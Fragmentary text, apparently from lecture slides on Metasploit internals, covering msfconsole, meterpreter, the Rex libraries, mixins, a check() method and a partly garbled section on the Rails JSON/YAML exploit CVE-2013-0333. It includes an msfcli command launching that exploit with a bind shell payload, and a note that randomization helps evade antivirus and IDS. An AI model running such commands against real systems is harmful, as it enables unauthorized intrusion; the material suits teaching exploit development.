provides options to Check, Execute, list Payloads, describe exploits ◦ useful for testing when writing an exploit • msfconsole ◦ access to virtually all options available in MSF ◦ console-based interface ◦ supports tabbed command completion, uses ruby Readline ◦ can even run external commands • meterpreter ◦ dynamically extensible payload ◦ runs in-memory
Rex::Arch assembly instructions on the fly with variable operands, such as immediate values, registers, and so on ◦ Rex::Arch.pack - Integer packing, big/little endian ◦ Rex::Arch.adjust - Adjusting the stack pointer ◦ Rex::Arch::X86 - Generating jmp, call, push, mov, add, and sub • Rex::Exploitation provides some common operations required by various exploits • Rex::Encoding - basic encoders
code into jobs • Rex::Logging • Rex::Sync - Sync. primitives like notify/wait • Rex::Ui - helpers for different user interfaces • Rex::Post - post-exploitation tools useful in providing a generic interface to the exploited system • Rex::Proto - support for HTTP, SMB, NTLM • Rex::Services - access via listeners to various services which can be reused across exploits • Rex::Socket - TCP, SSL, IP
scanning module • Other scanners in auxiliary/scanner ◦ auxiliary/scanner/ssh/ssh_version • Password sniffing - psnuffle • auxiliary/fuzzers • using exploits with the check() method
can • use the Rex protocol libs • use mixins ◦ Exploit::Remote::Tcp - RHOST, RPORT, connect() ◦ Exploit::Remote::SMB - SMBPASS, smb_login() ◦ Exploit::Remote::BruteTargets - brute_exploit(), brute force utilities • use randomizations wherever possible ◦ Rex::Text.rand_text_alpha ◦ Rex::Text.rand_text_alphanumeric ◦ Helps in AV and IDS evasion
etc. case version when "2.3.0" return Exploit::CheckCode::Vulnerable when "2.3.6" return Exploit::CheckCode::Detected else print_status('Unable to detect version'') return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end
3.0.20 in the way Active Support performed the parsing of JSON requests by translating them to YAML. Exploit in metasploit provides a shell which can be used to run arbitrary commands on the compromised system. /opt/metasploit/apps/pro/msf3/modules/exploit/multi/http/r ails_json_yaml_code_exec http://www.exploit-db.com/exploits/24434/ msfcli exploit/multi/http/rails_json_yaml_code_exec RHOST=victim RPORT=3000 PAYLOAD=ruby/shell_bind_tcp E ROR JSON Vuln. (CVE-2013-0333)